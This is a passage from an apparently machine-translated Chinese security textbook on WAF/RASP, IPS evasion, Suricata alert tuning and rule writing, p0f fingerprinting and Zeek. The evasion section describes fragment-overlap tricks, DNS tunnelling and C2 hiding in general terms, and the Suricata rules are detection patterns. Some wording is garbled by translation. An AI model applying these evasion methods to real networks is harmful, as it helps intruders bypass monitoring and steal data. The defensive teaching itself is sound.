10gbps、40gbps 或 100gbps 的大型站点,WAF 设备解决方案根本无法很好地扩展。 - -对于这些站点,防火墙被推送到主机本身(正如我们在[*第 4 章*](04.html#_idTextAnchor071),*the Linux firewall*中讨论的),WAF 也移动到主机。 在这里,每个主机或容器本身都成为一个工作单元,而扩展站点的容量只需要添加另一个工作单元。 - -对于这些情况,我们的 WAF 已经转变为一个**运行时应用自我保护**(**RASP**)解决方案。 顾名思义,RASP 软件不仅与应用位于相同的平台上,而且与应用的联系更加紧密。 RASP 代码出现在站点的每个页面上,通常是作为一个简单的标记来加载每个页面的 RASP 组件。 这不仅可以防止已知的攻击,而且在许多情况下,它可以防止“不寻常的”输入和流量,甚至站点或站点代码从被修改: - -![Figure 13.6 – Cloud web service hosting a local firewall and RASP IPS solution](img/B16336_13_006.jpg) - -图 13.6 -承载本地防火墙和 RASP IPS 解决方案的云 web 服务 - -这些 RASP 解决方案已经被证明是如此有效,以至于在许多公司网站上它们正在取代传统的 WAF 产品。 在这些情况下,防火墙通常是在周边而不是在主机上: - -![Figure 13.7 – RASP in a corporate environment with the perimeter firewall shown](img/B16336_13_007.jpg) - -图 13.7 -企业环境中外围防火墙的 RASP - -RASP 解决方案包括免费/开源的 OpenRASP,商业方面的产品如 Signal Sciences 或 Imperva。 - -现在您已经对各种 IPS 系统有了一些背景知识,让我们花一点时间从攻击者或渗透测试者的角度来看看这些系统。 - -# IPS 规避技术 - -入站规避利用了 IPS(基于 linux)解释恶意信息包和数据流的方式与目标解释这些信息包的方式之间的差异。 传统的 IPS 系统和 WAF 系统都是如此。 - -## WAF 检测 - -对于一个 WAF,可以方便地让攻击者知道一个 WAF 正在发挥作用,以及它基于什么。 Wafw00f 是一个很好的起点。 Wafw00f 是一个免费的扫描仪,可以检测超过 150 个不同的 WAF 系统,其中许多也是负载平衡器。 它是用 Python 编写的,托管在[https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f),但也打包在 Kali Linux 中。 - -通过测试一些站点,我们可以看到不同的 WAF 解决方案被托管提供商托管: - -```sh -└─$ wafw00f isc.sans.edu -[*] Checking https://isc.sans.edu -[+] The site https://isc.sans.edu is behind Cloudfront (Amazon) WAF. -[~] Number of requests: 2 -└─$ wafw00f www.coherentsecurity.com -[*] Checking https://www.coherentsecurity.com -[+] The site https://www.coherentsecurity.com is behind Fastly (Fastly CDN) WAF. -[~] Number of requests: 2 -``` - -对于第三个站点,我们可以看到一个商业 WAF(也是基于云的): - -```sh -└─$ wafw00f www.sans.org - [*] Checking https://www.sans.org -[+] The site https://www.sans.org is behind Incapsula (Imperva Inc.) WAF. -[~] Number of requests: 2 -``` - -正如我们所指出的,如果你知道 WAF 是什么,那么你就有更好的机会避开 WAF。 当然,如果您是一个攻击者或渗透测试者,您仍然必须破坏 WAF 背后的网站,但这完全是另一回事。 - -由于入站目标通常是 web 服务器,也通常是 Windows 主机,对这种流量的逃避通常利用处理碎片包的好处。 - -## 碎片化等 IPS 逃避方法 - -人为地分片数据包,然后无序地发送它们,在某些情况下,发送包含不同信息的重复片段号是逃避或检测 IPS 的一种常用方法。 - -这利用了 IPS 操作系统(通常是 Linux 变体)处理片段的方式与操作系统背后的主机(可能是完全不同的操作系统)之间的差异。 - -如果 IPS 根本不重组碎片,即使是将`maliciousdomain.com`分解为`malic`和`iousdomain.com`这样简单的事情也能产生完全不同的效果。 不过,更常见的情况是,你会看到类似以下的数据包片段序列: - -![](img/B16336_13_Table_01.jpg) - -攻击者的目标是管理重复的片段如何重组。 如果 Linux 将其重新组装为`MalicASDFdomain.com`,Windows 将其重新组装为`mailicousdomain.com`,那么攻击者就有办法通过基于 Linux 的 IPS 从一个恶意域渗透或渗透到一个恶意域。 大多数现代 ips 会以几种不同的方式重新组装片段,或者识别目标主机的操作系统,然后基于这些重新组装。 - -这是一个较老的攻击,由*挖歌*在他的`fragroute`工具在 21 世纪早期首创。 虽然这个工具将不再在正确配置的现代 IPS 上工作,但一些供应商在其商业产品中没有默认启用的适当的片段重组设置。 所以,虽然它不应该工作,它总是一个方便的东西渗透测试人员尝试,因为有时,你会幸运地得到 IPS 旁路。 - -出站回避通常利用在安装和配置 IPS 时所做的决定; 举几个例子: - -* IPS 系统可能会绕过任何看起来像 Windows 更新的东西——这允许攻击者使用 BITS 协议绕过 IPS 来传输文件。 -* 有时候,流媒体服务会因为性能原因而被忽略。 例如,该设置允许攻击者将 C2 信息嵌入到特定 YouTube 视频的评论中。 -* 如果没有解密,攻击者可以简单地使用 HTTPS 并直接通过,只要他们的外部主机没有被 IP 或 DNS 名称标记为可疑。 -* 即使进行了解密,如果攻击者使用了有效的固定证书,解密将失败,这通常意味着 IPS 将退回到“允许”响应,而不是“删除”响应。 -* 总会有一些协议不能被解密和重新签名机制很好地处理; 这些通常也是选择。 -* 我们看到攻击者也在使用“滚出你自己的”加密。 -* 使用 DNS 隧道数据进出也是一个历史悠久的选项。 您可以简单地在端口`53/udp`上传输数据,您会惊讶地发现,即使是,这种方式也经常有效,尽管这些数据包本身看起来一点也不像 DNS 数据包。 然而,即使 IPS 检查 DNS 数据包,以确保有效性,隧道惊人数量的数据可以使用有效 DNS 查询——`TXT`查询尤其是对入站传输(`TXT`的数据响应)或为出站`A`查询查询(查询 DNS 主机名的数据)。 -* 或者,最常见的是,攻击者将简单地使用**C 和 C 框架**来设置他们的通道。 这方面有几种选择,商业工具、盗版工具或开源工具受欢迎与否取决于它们在任何给定时间的有效性。 - -长话短说,如果您的 IPS 不理解特定的数据流,您可以考虑设置它来阻止该流量。 此方法将阻塞一些生产流量,但您将发现这是一个需要权衡您正在保护的社区的需求与 IPS 的有效性之间的持续钢丝绳。 - -在介绍了攻击者的观点之后(至少在较高的层次上),让我们看看一些实际的应用—从基于网络的 IDS/IPS 系统开始。 - -# 经典/基于网络的 IPS 解决方案- Snort 和 Suricata - -正如我们前面讨论的,传统的 IPS 故事始于 20 世纪 90 年代*Martin Roesch*编写 Snort 时。 在创建 Sourcefire 时,Snort 就变成了一种商业产品,但即使在今天,在 Cisco 收购 Sourcefire 之后,Snort 仍然有一个可以安装在任何 Linux 平台上的开放源代码版本。 - -由于 Snort 非常流行,它被广泛地直接用于 Sourcefire 产品中,也被许多(许多)下一代防火墙(**NGFW**)产品中授权使用。 思科被收购后,最后一种情况发生了改变; 没有哪个商业防火墙愿意在自己的平台上使用来自竞争对手的 IPS。 - -撇开市场营销不谈,“传统”版本的 Snort (2.x)有几个缺点: - -* 它完全是基于文本的,没有 GUI。 但是,有几个 web 前端项目可以用于 Snort。 -* 这些消息通常是神秘的—通常,您需要成为安全专家才能完全理解 Snort 消息。 -* 这是单线程的。 这产生了巨大的影响,因为网络带宽上行链路从数百 Mbps 到 Gbps,然后是 10、40 和 100 Gbps。 不管 CPU、内存和磁盘的组合是什么,Snort 都无法满足这些容量。 - -但是,Snort 方法,特别是 Snort 签名规则集非常有用,几乎所有 IPS 解决方案都可以使用 Snort 签名。 - -这些因素的结合促使行业转向替代能源。 在许多情况下,这是 Suricata,一种 2009 年发布的 IPS,从那时起一直在改进。 Suricata 很有吸引力,因为从一开始它就是多线程的,所以更多的 CPU 内核实际上变成了更可用的 CPU。 这使得它比 Snort 更具可伸缩性。 Suricata 直接使用 Snort 规则,不做任何修改,因此多年来创建签名和操作签名的行业专业知识的工作仍然有效。 - -Suricata 插件和许多其他安全产品的集成,包括 Splunk、Logstash 和 Kibana/Elasticsearch。 Suricata 可以直接集成到许多流行的防火墙中,如 pfSense 或 Untangle。 - -最后,许多发行版将 Suricata 与底层的 Linux 操作系统、合理的 web 界面和作为后端的数据库捆绑在一起——如果您的硬件和网络已经准备好,那么您可以安装 Suricata 并在几个小时内拥有一个可行的系统。 - -Snort 团队已经发布了 IPS 的 3.0 版本(2021 年 1 月); 然而,它仍然没有 GUI(除非你购买了商业版本作为思科火力安装的一部分)。 Snort 仍然是一种优秀的产品,是行业最受欢迎的产品,但他们现在必须要赶上 Suricata 解决方案。 - -足够的背景和理论-让我们构建和使用一个实际的 IPS! - -# Suricata IPS 实例 - -在这个示例中,我们将使用 Stamus Networks([https://www.stamus-networks.com/selks](https://www.stamus-networks.com/selks))的 SELKS。 **SELKS**的名称反映了它的主要组成部分:**Suricata、Elasticsearch、Logstash、Kibana 和 Stamus**Scirius 社区版。 它是打包在 Debian Linux 上的,所以如果你一直在阅读这本书,你应该会觉得很熟悉,因为 Ubuntu 根植于 Debian 的“父”发行版。 - -SELKS 有一个**活**选项和一个**安装**选项。 **活动**选项在 ISO 映像上运行整个解决方案。 这对于小型实验室或快速评估工具来说很方便,你可以在本章中选择这种方法。 但是,在生产环境中,您需要使用安装在实际磁盘上的映像(最好是 SSD 或其他快速存储选项)。 - -SELKS 的安装指南如下:[https://github.com/StamusNetworks/SELKS/wiki/First-time-setup](https://github.com/StamusNetworks/SELKS/wiki/First-time-setup)。 由于这种情况的变化非常频繁,所以在本章中我们不会进行实际安装(如果我们进行了安装,它将在几个月内就会过时)。 - -拥有两个网卡是大多数 IPS 解决方案的需求。 第一个 NIC 用于实际的 IPS 功能,它需要混杂模式并将进行数据包捕获—当您完成时,此适配器不应该有 IP。 另一个网卡用于管理平台——通常解决方案的 web UI 在该网卡上。 - -在运行 Suricata 时,确保它可以通过 SPAN 端口、tap 或启用了`promiscuous mode`的管理程序 vSwitch 来捕获数据包。 - -在开始使用系统之前,最好定义定义环境的各种主机和子网。 这些信息都在`/etc/suricata/suricata.yaml`中。 - -下面的是要设置的关键变量: - -![](img/B16336_13_Table_02.jpg) - -在许多环境中,这些默认值可以保持不变,但如前所述,定义各种服务器变量有助于优化规则处理。 例如,如果您可以缩小范围,使 HTTP 检查不在域控制器或 SQL 服务器上执行,这可以帮助降低不需要的处理检查的 CPU 需求。 - -在 SCADA 系统中使用的 MODBUS 协议,通常在制造业或公共事业中使用,通常也是非常严格定义的东西。 通常,这些服务器和客户机被隔离到它们自己的子网中。 - -此外,定义组织内部的各种 DNS 服务器也会有所帮助。 - -在这个文件中还有许多其他选项可以管理 Suricata 及其相关产品的操作方式,但是为了演示 IPS(甚至在许多生产环境中),您不需要修改它们。 不过,我确实邀请你看看这个文件; 它的注释很好,所以您可以看到每个变量的作用。 - -经过一段时间的正常活动-可能在几分钟内-你将开始看到活动在 EveBox, web 界面的 SELKS 警报: - -![Figure 13.8 – Basic alerts in Suricata (EveBox events dashboard)](img/B16336_13_008.jpg) - -图 13.8 - Suricata 的基本警报(EveBox 事件仪表板) - -让我们看看中的一个**虚假的 Firefox 字体更新**提醒: - -![Figure 13.9 – Rule details (1) – basic information and geo-IP information](img/B16336_13_009.jpg) - -图 13.9 -规则详细信息(1)-基本信息和 geo-IP 信息 - -在此显示中特别感兴趣的是源 IP 和目标 IP——如果这是出站流量,则它可能指示受感染的主机。 然而,在我们的例子中更重要的是**签名 ID**(通常缩写为**SID**),它唯一地标识该攻击签名。 我们很快就会回到这个值。 - -下面是远程地址的 geo-IP 信息。 这并不总是 100%准确的,但如果您所在的企业(公司或国家)的间谍活动受到关注,这个位置信息可能很重要。 如果 IP 是本地的,您可能正在为执法收集证据,特别是当您怀疑攻击来自“内部人士”时。 - -向下滚动一点; 由于此攻击是通过 HTTPS 进行的,我们将看到涉及的 TLS 信息: - -![Figure 13.10 – Rule details (2) – TLS and fingerprint information and payload displays](img/B16336_13_010.jpg) - -图 13.10 -规则详细信息(2)- TLS 和指纹信息和负载显示 - -在这里,我们可以看到**SNI 的主机证书`self.events.data.microsoft.com`的价值,并且有效的微软 Azure CA 颁发的证书。这些事情告诉我们,虽然攻击结合使用假字体更新是一个真正的问题,这个签名是触发与假阳性,一遍又一遍。** - - **出于兴趣,再往下看一节,我们将看到**有效载荷**节。 这在左边显示数据包中的字符串值,在右边显示数据包的十六进制表示。 有趣的是 PCAP 的**按钮,让我们点击它:** - - **![Figure 13.11 – Packet capture invoked from the event display](img/B16336_13_011.jpg) - -图 13.11 -从事件显示调用的数据包捕获 - -如预期的那样,点击**PCAP**按钮会显示触发警报的实际包。 这里,我们扩展了有效负载的 TLS 部分——特别是`server_name/SNI`部分。 - -回到警告页面,进一步向下滚动,我们将看到规则的 JSON 表示。 回到规则名称,还记得它是如何引用单词`JA3`的吗? `JA`签名是加密流量的初始握手报文中交换的各种值的散列。 使用`JA`值,我们可以标识源和目标应用,通常还可以标识服务器名称(在本例中,使用**SNI**值)。 这种方法为我们提供了一种很好的方式来查看加密的流量,而无需解密它,通常是,以至于我们可以从攻击或 C2 流量中区分正常流量。 `JA3`签名的概念是由 Salesforce 的*John Althouse*、*Jeff Atkinson*和*Josh Atkins*(因此命名为 JA3)提出的。 关于这种方法的更多信息可以在本章的末尾找到。 HASSH 框架对 SSH 流量执行类似的功能。 - -查看 JSON 规则显示中的`JA3`部分,我们可以看到触发 IPS 警报的网络事件的详细信息: - -![Figure 13.12 – JSON details of the network event that triggered the IPS alert ](img/B16336_13_012.jpg) - -图 13.12 - JSON 触发 IPS 警报的网络事件的详细信息 - -请注意,这个 JSON 显示混合了“我们正在寻找的内容”和“我们看到的内容”。 您必须查看规则本身,以了解是什么触发了规则(尽管在本例中是 JA3 散列)。 - -现在我们已经对这个警报进行了研究,并认为它是假阳性,我们有两种可能的行动方案: - -* 我们可以禁用这个警报。 很有可能,您会发现自己经常使用一个新的 IPS 进行此操作,直到事情升级 -* 您可以编辑警报,也许可以按预期触发它,但不能针对以`Microsoft.com`结尾的 SNIs。 注意,我们说*以*结尾,而不是*包含*。 攻击者通常会寻找定义错误——例如,`foo.microsoft.com.maliciousdomain.com`SNI 将被定义为`contains microsofot.com`,而实际的`self.events.data.microsoft.com`只被定义为*以*结尾。 如果你还记得我们的正则表达式讨论[*第 11 章【t16.1】*](11.html#_idTextAnchor192),*数据包捕获和分析在 Linux 中*、`Microsoft.com`结尾样子`*.microsoft.com$`(一个或多个字符,紧随其后的是`Microsoft.com`,立即跟着结束的字符串)。 - -在本例中,我们将禁用警报。 在命令行中编辑`/etc/suricata/disable.conf`文件,并将 SID 添加到该文件中。 评论是惯例,这样你就可以追踪到为什么不同的签名被删除了,什么时候删除的,谁删除的: - -```sh -$ cat /etc/suricata/disable.conf -2028371 # firefox font attack false positive - disabled 7/5/2021 robv -``` - -要添加正在被忽略的规则,只需将 SID 添加到`/etc/suricata/enable.conf`文件中。 - -最后,再次执行`suricata_update`命令,更新 IPS 的运行配置。 你会看到`disable.conf`文件已经被处理了: - -```sh -$ sudo suricata-update | grep disa -5/7/2021 -- 09:38:47 - -- Loading /etc/suricata/disable.conf -``` - -第二种编辑 SID 的方法(不触发特定 SNI)可能更有意义,但不能直接编辑 SID; 下一次更新将简单地击败你的更新。 要编辑 SID,请复制它,使它是“自定义”或“本地”范围内的 SID,然后编辑它。 将新的 SID 添加到`enable.conf`文件中。 - -回到我们的主 EveBox 显示,打开任何事件并进行探索。 你可以点击任何链接的值来获得更多的信息。 例如,如果你怀疑一个内部主机已经被入侵,你可以在任何显示中点击该主机的 IP,并获得关于所有进出该主机的流量的详细信息: - -![Figure 13.13 – EveBox display of all the events that were triggered by one target host](img/B16336_13_013.jpg) - -图 13.13 - EveBox 显示由一个目标主机触发的所有事件 - -请注意顶部的搜索字段——当您对界面更加熟悉时,您可以手动输入这些字段。 在本例中,我们可以看到一堆“毫无意义”的 DNS 请求(显示的第 4、5 和 6 行,以及第 8、9 和 10 行)。 这样的无意义查询经常出现在使用**快速流量 DNS**的攻击中,其中 C2 服务器 DNS 名称在一天中会更改几次。 通常,客户端根据日期和时间计算 DNS 名称或定期检索它们。 不幸的是,我们在广告世界的朋友和我们的恶意软件朋友使用同样的技术,所以这不是像过去那样明确。 - -更改显示(单击用户 ID 旁边的右上方图标)可以导航到**Hunting**显示。 - -在此显示中,您将看到相同的警报,但只是汇总而不是按时间戳顺序列出。 这使您可以查找频率最高的警报或异常值—可能指示更多不寻常情况的频率最低的警报。 - -让我们再看一次 Firefox 字体提醒——打开那一行查看更多细节。 特别是,你会看到一个时间轴显示: - -![Figure 13.14 – Hunting display, main dashboard](img/B16336_13_014.jpg) - -图 13.14 -狩猎显示,主仪表板 - -注意,这给出了被触发的实际规则: - -```sh -alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"ET JA3 Hash - Possible Malware - Fake Firefox Font Update"; ja3_hash; content:"a0e9f5d64349fb13191bc781f81f42e1"; metadata: former_category JA3; reference:url,github.com/trisulnsm/trisul-scripts/blob/master/lua/frontend_scripts/reassembly/ja3/prints/ja3fingerprint.json; reference:url,www.malware-traffic-analysis.net; classtype:unknown; sid:2028371; rev:2; metadata:created_at 2019_09_10, updated_at 2019_10_29;) -``` - -本质上,这是“匹配这个 JA3 散列的出站流量”。 在[https://ja3er.com](https://ja3er.com)上查找这个哈希值,我们会发现这是一个基本的 Windows 10 TLS 协商,从以下用户代理报告: - -* Excel/16.0(计数:375,最后看到:2021-02-26 07:26:44) -* WebexTeams(数:38,最后出现:21-06-30 16:17:14) -* Mozilla/5.0 (Windows NT 6.1; WOW64; Gecko/20100101 Firefox/40.1(数:31,最后看到:2020-06-04 09:58:02) - -这强化了这样一个事实:这个签名的价值是有限的; 有人建议我们干脆禁用它。 正如我们前面所讨论的,您可能决定将其编辑为不同的规则,但在这个特定的情况下,您将永远在玩打地鼠游戏,试图获得 SNI 字符串或 CAs 的正确组合,以获得刚好正确的规则。 - -另一个值得探索的显示是**管理**显示: - -![Figure 13.15 – Management view, all alerts](img/B16336_13_015.jpg) - -图 13.15 -管理视图,所有警报 - -它以另一种格式显示相同的数据。 点击相同的 Firefox 字体警告(2028371),我们得到一个更全面的活动背后的警告: - -![Figure 13.16 – Management view of the example Firefox font alert](img/B16336_13_016.jpg) - -图 13.16 -火狐字体警告示例的管理视图 - -注意,在左列中,我们现在可以看到对**禁用规则**和**启用规则**的选择。 由于 IPS 接口主要在 UI 中,这更可能是您的主要规则管理方法,至少在禁用和启用规则方面是这样的: - -![Figure 13.17 – Disabling a Suricata rule from the web UI](img/B16336_13_017.jpg) - -图 13.17 -在 web UI 中禁用 Suricata 规则 - -正如前面提到的,IPS 功能是您的里程可能有所不同的一个领域。 如果你部署在家庭网络上,不同的门铃、恒温器或游戏平台将极大地影响你的流量组合以及 IPS 将发现的结果。 这在企业环境中更引人注目。 - -最好的建议是学习基础知识(我们在这里已经介绍了其中一些),并研究您的 IPS 告诉您的关于您的网络所发生的情况的信息。 您将发现需要删除或修改的签名、希望保留但在显示中禁止的消息,以及各种优先级的真实安全警报。 - -在这个平台上,你还会看到 Suricata 的严重程度可能与你的不一样。 我们探索的规则就是一个很好的例子——Suricata 将其标记为高优先级,但经过一些调查后,我们将其归类为假阳性并禁用了它。 - -我们提到过几次规则。 因此,让我们更深入地了解如何构建规则,然后从零开始构建我们自己的规则。 - -# 构建 IPS 规则 - -我们已经多次提到了 IPS 签名,特别是 Snort 规则—让我们看看它们是如何构建的。 让我们看一个示例规则,它提醒我们一个可疑的 DNS 请求包含文本`.cloud`: - -```sh -alert dns $HOME_NET any -> any (msg:"ET INFO Observed DNS Query to .cloud TLD"; dns.query; content:".cloud"; nocase; endswith; reference:url,www.spamhaus.org/statistics/tlds/; classtype:bad-unknown; sid:2027865; rev:4; metadata:affected_product Any, attack_target Client_Endpoint, created_at 2019_08_13, deployment Perimeter, former_category INFO, signature_severity Major, updated_at 2020_09_17;) -``` - -这条规则被分成几个部分。 从规则的开头开始,我们有我们的规则标题**:** - - **![](img/B16336_13_Table_03.jpg) - -没有显示**Flow**section - Suricata 通常只检测 TCP 数据流。 - -接下来是规则的**消息**部分: - -![](img/B16336_13_Table_04.jpg) - -**Detection**部分概述了规则正在查找的内容以及将触发警报的流量: - -![](img/B16336_13_Table_05.jpg) - -**参考文献**部分通常包含 url、CVE 编号或厂商安全公告: - -![](img/B16336_13_Table_06.jpg) - -**签名 ID**部分包含 SID 值和修订号: - -![](img/B16336_13_Table_07.jpg) - -**元数据**部分包括以下内容: - -![](img/B16336_13_Table_08.jpg) - -其中许多是可选的,在某些情况下,节的顺序可以更改。 要了解 Suricata 规则格式的完整解释,产品文档是一个很好的起点:[https://suricata.readthedocs.io/en/suricata-6.0.3/rules/intro.html](https://suricata.readthedocs.io/en/suricata-6.0.3/rules/intro.html)。 - -由于 Suricata 规则本质上与 Snort 规则相同,您可能会发现 Snort 文档也很有用。 - -如果您正在为您的组织添加自定义规则,本地规则的 SID 范围是`1000000`-`1999999`。 - -按照惯例,本地规则通常放在名为`local.rules`的文件中,或者至少放在具有反映这种自定义状态的名称的规则文件中。 同样,规则消息通常以单词`LOCAL`、您的组织名称或其他一些指示符开头,这些指示符明显表明这是一个内部开发的规则。 填充规则元数据也被认为是一个很好的实践——添加规则的作者、日期和版本号会非常有用。 - -例如,让我们创建一组规则来检测 telnet 流量——包括入站和出站。 您可能已经添加了此规则,以处理组织中坚持部署启用 telnet 的敏感系统的管理员队列。 使用 telnet 登录,然后运行或管理应用,这是一种危险的方法,因为所有凭据和所有应用数据都以明文在网络上传输。 - -让我们把它分成两个规则: - -```sh -alert tcp any -> $HOME_NET [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000100; rev:1;) -alert tcp $HOME_NET any -> any [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000101; rev:1;) -``` - -请注意,协议是 TCP,目标端口包括`23/tcp`,以及许多其他常见端口,人们可能将 telnet 放入其中以“隐藏”它。 - -这些规则的文本被放入`/etc/suricata/rules/local.rules`(或者您想存储本地规则的任何地方)。 - -更新`/etc/suricata/suricata.yaml`以反映这一点: - -```sh -default-rule-path: /var/lib/suricata/rules -rule-files: - - suricata.rules - - local.rules -``` - -现在,要重新编译规则列表,运行`sudo selks-update`。 您可能还需要运行`sudo suricata-update –local /etc/suricata/rules/local.rules`。 - -一旦你更新了这个,你可以通过列出最终的规则集,过滤你的 sid 来验证你的规则是否到位: - -```sh -$ cat /var/lib/suricata/rules/suricata.rules | grep 100010 -alert tcp any -> $HOME_NET [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000100; rev:1;) -alert tcp $HOME_NET any -> any [23,2323,3323,4323] (msg:"LOCAL TELNET SUSPICIOUS CLEAR TEXT PROTOCOL"; flow:to_server; classtype:suspicious-login; sid:1000101; rev:1;) -``` - -现在,要重载规则集,执行以下操作之一: - -* 通过执行`sudo kill -USR2 $(pidof suricata)`重新加载 Suricata。 不建议这样做,因为它会重新加载整个应用。 -* 用`suricatasc -c reload-rules`重新加载规则。 这是一个阻塞重载; Suricata 在重新加载期间仍处于离线状态。 如果您的 IPS 与流量一致,则不建议这样做。 -* 用`suricatasc -c ruleset-reload-nonblocking`重新加载规则。 这将在不阻塞流量的情况下重新加载规则集,这对内联部署是“友好的”。 - -当警报被触发时,它看起来是什么样子的? 在 EveBox 中,该规则的警告如下所示: - -![Figure 13.18 – Alerts generated by the triggered custom IPS rule](img/B16336_13_018.jpg) - -图 13.18 -触发自定义 IPS 规则生成的警报 - -在这里,我们可以看到其中一个警报是从内部主机发送到内部主机,而另一个警报是向 internet 发送的。 第一个规则被触发了两次——回顾一下规则定义; 你知道为什么吗? 这表明,触发任何自定义规则并对其进行优化是很有意义的,以便每个条件只触发一次警告或阻塞,并且它们会触发您所能想到的所有条件和变化。 - -让我们展开第一个(注意 SID): - -![Figure 13.19 – Event details for alert 1](img/B16336_13_019.jpg) - -图 13.19 -警报的事件详细信息 - -现在,让我们展开第二个——注意这是同一个事件,但它用不同的 SID 触发了第二次: - -![Figure 13.20 – Event details for alert 2](img/B16336_13_020.jpg) - -图 13.20 -警报的事件细节 2 - -然后,展开最后一个(同样要注意 SID): - -![Figure 13.21 – Event details for alert 3](img/B16336_13_021.jpg) - -图 13.21 -警报的事件详细信息 3 - -注意,我们对这两个都有完整的包捕获—要非常小心,因为如果您浏览那些 PCAP 文件,您将看到有效的凭据。 - -现在我们已经了解了网络 IPS 是如何工作的,让我们看看在数据包通过网络时被动地监视它们可以发现什么。 - -# 被动交通监控 - -将加入 IPS 解决方案的另一种方法是使用**被动式漏洞扫描器**(**PVS**)。 与查找攻击流量不同,PVS 解决方案收集数据包并查找流量或握手数据(例如 JA3、SSH 指纹或它可以以明文收集的任何东西),这些数据可能有助于识别正在运行的操作系统或应用。 您可以使用此方法来识别使用其他方法时可能不会出现的问题应用,甚至是使用其他清单方法时遗漏的主机。 - -例如,PVS 解决方案可能识别过时的浏览器或 SSH 客户机。 Windows 上的 SSH 客户端经常过时,因为许多更流行的客户端(如 PuTTY)没有自动更新功能。 - -PVS 解决方案也是查找可能没有编目的主机的好工具。 如果它连接到互联网或甚至其他内部主机,PVS 工具可以从“散乱的”数据包中收集数量惊人的数据。 - -P0F 是一种比较常见的开源 PVS 解决方案。 在商业上,Teneble 的 PVS 服务器通常被部署。 - -## 无源监控与 P0F -举例 - -要运行 P0f,请将将要使用的以太网接口放入`promiscuous mode`中。 这意味着接口将读取和处理所有数据包,而不仅仅是发送到我们正在工作的主机的数据包。 这是依赖包捕获的大多数实用程序自动设置的一种常见模式,但是 P0F 仍然是“老派”,需要手动设置它。 然后,运行该工具: - -```sh -$ sudo ifconfig eth0 promisc -$ sudo p0f –i eth0 -.-[ 192.168.122.121/63049 -> 52.96.88.162/443 (syn) ]- -| -| client = 192.168.122.121/63049 -| os = Mac OS X -| dist = 0 -| params = generic fuzzy -| raw_sig = 4:64+0:0:1250:65535,6:mss,nop,ws,nop,nop,ts,sok,eol+1:df:0 -| -`---- -.-[ 192.168.122.160/34308 -> 54.163.193.110/443 (syn) ]- -| -| client = 192.168.122.160/34308 -| os = Linux 3.1-3.10 -| dist = 1 -| params = none -| raw_sig = 4:63+1:0:1250:mss*10,4:mss,sok,ts,nop,ws:df,id+:0 -| -`---- -``` - -更有用的是,您可以将`p0f`输出重定向到一个文件,然后处理该文件的内容。 注意我们需要根权限来抓取数据包: - -```sh -$ sudo p0f -i eth0 -o pvsout.txt -``` - -接下来,我们可以收集在不同主机上收集的数据,使用`grep`过滤那些`p0f`能够识别操作系统的数据。 注意,因为我们将`pvsout.txt`创建为 root 用户,所以我们也需要 root 权限来读取该文件: - -```sh -$ sudo cat pvsout.txt | grep os= | grep -v ??? -[2021/07/06 12:00:30] mod=syn|cli=192.168.122.179/43590|srv=34.202.50.154/443|subj=cli|os=Linux 3.1-3.10|dist=0|params=none|raw_sig=4:64+0:0:1250:mss*10,6:mss,sok,ts,nop,ws:df,id+:0 -[2021/07/06 12:00:39] mod=syn|cli=192.168.122.140/58178|srv=23.76.198.83/443|subj=cli |os=Mac OS X|dist=0|params=generic fuzzy|raw_sig=4:64+0:0:1250:65535,6:mss,nop,ws,nop,nop,ts,sok,eol+1:df:0 -[2021/07/06 12:00:47] mod=syn|cli=192.168.122.179/54213|srv=3.229.211.69/443|subj=cli |os=Linux 3.1-3.10|dist=0|params=none|raw_sig=4:64+0:0:1250:mss*10,6:mss,sok,ts,nop,ws:df,id+:0 -[2021/07/06 12:01:10] mod=syn|cli=192.168.122.160/41936|srv=34.230.112.184/443|subj=cli|os=Linux 3.1-3.10|dist=1|params=none|raw_sig=4:63+1:0:1250:mss*10,4:mss,sok,ts,nop,ws:df,id+:0 -[2021/07/06 12:01:10] mod=syn|cli=192.168.122.181/61880|srv=13.33.160.44/443|subj=cli |os=Windows NT kernel|dist=0|params=generic|raw_sig=4:128+0:0:1460:mss*44,8:mss,nop,ws,nop,nop,sok:df,id+:0 -``` - -我们可以解析此为一个快速的库存清单: - -```sh -$ sudo cat pvsout.txt | grep os= | grep -v ??? | sed -e s#/#\|#g | cut -d "|" -f 4,9 | sort | uniq -cli=192.168.122.113|os=Linux 2.2.x-3.x -cli=192.168.122.121|os=Mac OS X -cli=192.168.122.129|os=Linux 2.2.x-3.x -cli=192.168.122.140|os=Mac OS X -cli=192.168.122.149|os=Linux 3.1-3.10 -cli=192.168.122.151|os=Mac OS X -cli=192.168.122.160|os=Linux 2.2.x-3.x -cli=192.168.122.160|os=Linux 3.1-3.10 -cli=192.168.122.179|os=Linux 3.1-3.10 -cli=192.168.122.181|os=Windows 7 or 8 -cli=192.168.122.181|os=Windows NT kernel -cli=192.168.122.181|os=Windows NT kernel 5.x -``` - -注意,我们必须使用`sed`来删除每个主机的源端口,以便`uniq`命令能够工作。 另外,请注意主机`192.168.122.181`注册为三个不同的 Windows 版本——该主机需要一些检查! - -更值得关注的是位于`192.168.122.113`、`129`和`160`的主机,它们似乎运行的是较旧的 Linux 内核。 结果是这样的: - -* `192.168.122.160`是一个门铃摄像头——它启用了自动更新功能,所以它是一个较老的内核,但供应商可以让它尽可能的新。 -* `192.168.122.129`是运营商的 PVR/TV 控制器。 这和前面的情况是一样的。 -* `192.168.122.113`是 Ubuntu 20.04.2 主机,所以这是一个误报。 在连接到该主机后,`uname –r`告诉我们它正在运行内核版本 5.8.0.55。 - -我们现在已经有了基本的 IPS 服务和 PVSes,因此让我们在此基础上进行扩展,并添加一些元数据,以使我们的 IPS 信息更加相关。 我所说的“元数据”是什么意思? 继续读下去,我们将描述这些数据,以及如何使用 Zeek 来收集这些数据。 - -# Zeek 示例-收集网络元数据 - -**Zeek**(以前被称为 Bro)并不是一个真正的 IPS,但它是您的 IPS、日志平台以及网络管理的一个很好的附属服务器。 随着本节的深入,您将看到为什么会这样。 - -首先,有两个安装选项: - -* 您可以在现有的 Linux 主机([https://docs.zeek.org/en/master/install.html](https://docs.zeek.org/en/master/install.html))上进行安装。 -* 您可以安装 Security Onion 发行版,并在安装过程中选择 